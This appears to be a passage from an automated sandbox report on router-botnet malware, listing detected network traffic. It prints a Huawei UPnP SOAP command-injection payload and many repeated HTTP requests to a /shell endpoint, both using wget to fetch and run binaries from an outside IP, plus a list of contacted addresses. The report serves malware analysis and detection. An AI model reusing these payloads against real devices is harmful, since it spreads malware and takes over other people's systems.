3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 4.224.114.87
Source: unknown	TCP traffic detected without corresponding DNS query: 92.23.7.87
Source: unknown	TCP traffic detected without corresponding DNS query: 163.179.6.116
Source: unknown	TCP traffic detected without corresponding DNS query: 44.174.88.26
Source: unknown	TCP traffic detected without corresponding DNS query: 130.129.139.106
Source: unknown	TCP traffic detected without corresponding DNS query: 194.82.191.250
Source: unknown	TCP traffic detected without corresponding DNS query: 112.132.122.239
Source: unknown	TCP traffic detected without corresponding DNS query: 157.79.3.186
Source: unknown	TCP traffic detected without corresponding DNS query: 91.89.98.112
Source: unknown	TCP traffic detected without corresponding DNS query: 83.145.242.116
Source: unknown	TCP traffic detected without corresponding DNS query: 85.168.253.159
Source: unknown	TCP traffic detected without corresponding DNS query: 52.154.141.42
Source: unknown	TCP traffic detected without corresponding DNS query: 141.209.44.25
Source: unknown	TCP traffic detected without corresponding DNS query: 65.7.148.37
Source: unknown	TCP traffic detected without corresponding DNS query: 161.233.92.6
Source: unknown	TCP traffic detected without corresponding DNS query: 152.61.107.176
Source: unknown	TCP traffic detected without corresponding DNS query: 128.16.205.191
Source: unknown	TCP traffic detected without corresponding DNS query: 67.139.160.55
Source: unknown	TCP traffic detected without corresponding DNS query: 183.219.229.81
Source: unknown	TCP traffic detected without corresponding DNS query: 151.26.174.137
Source: unknown	TCP traffic detected without corresponding DNS query: 149.206.49.19
Source: unknown	TCP traffic detected without corresponding DNS query: 175.125.116.107
Source: unknown	TCP traffic detected without corresponding DNS query: 107.82.243.201
Source: unknown	TCP traffic detected without corresponding DNS query: 126.21.196.46
Source: unknown	TCP traffic detected without corresponding DNS query: 47.56.25.130
Source: unknown	TCP traffic detected without corresponding DNS query: 155.189.220.154
Source: unknown	TCP traffic detected without corresponding DNS query: 121.158.21.152
Source: unknown	TCP traffic detected without corresponding DNS query: 149.3.142.204
Source: unknown	TCP traffic detected without corresponding DNS query: 99.187.6.83
Source: unknown	TCP traffic detected without corresponding DNS query: 172.173.60.23
Source: unknown	TCP traffic detected without corresponding DNS query: 146.109.5.177
Source: unknown	TCP traffic detected without corresponding DNS query: 54.106.122.6
Source: unknown	TCP traffic detected without corresponding DNS query: 61.131.204.12
Source: unknown	TCP traffic detected without corresponding DNS query: 1.142.101.135
Source: unknown	TCP traffic detected without corresponding DNS query: 78.140.95.95
Source: unknown	TCP traffic detected without corresponding DNS query: 32.195.112.125
Source: unknown	TCP traffic detected without corresponding DNS query: 142.190.144.84
Source: unknown	TCP traffic detected without corresponding DNS query: 172.108.57.176
Source: unknown	TCP traffic detected without corresponding DNS query: 123.173.30.127
Source: unknown	TCP traffic detected without corresponding DNS query: 51.228.251.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.146.123
Source: unknown	TCP traffic detected without corresponding DNS query: 40.182.169.248
Source: unknown	TCP traffic detected without corresponding DNS query: 149.245.20.75
Source: unknown	TCP traffic detected without corresponding DNS query: 84.63.82.242
Source: unknown	TCP traffic detected without corresponding DNS query: 81.36.91.196
Source: unknown	TCP traffic detected without corresponding DNS query: 136.4.252.241
Source: unknown	TCP traffic detected without corresponding DNS query: 134.100.205.170
Source: unknown	TCP traffic detected without corresponding DNS query: 4.126.226.95
Source: unknown	TCP traffic detected without corresponding DNS query: 89.159.28.137
Source: unknown	TCP traffic detected without corresponding DNS query: 32.42.153.209

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
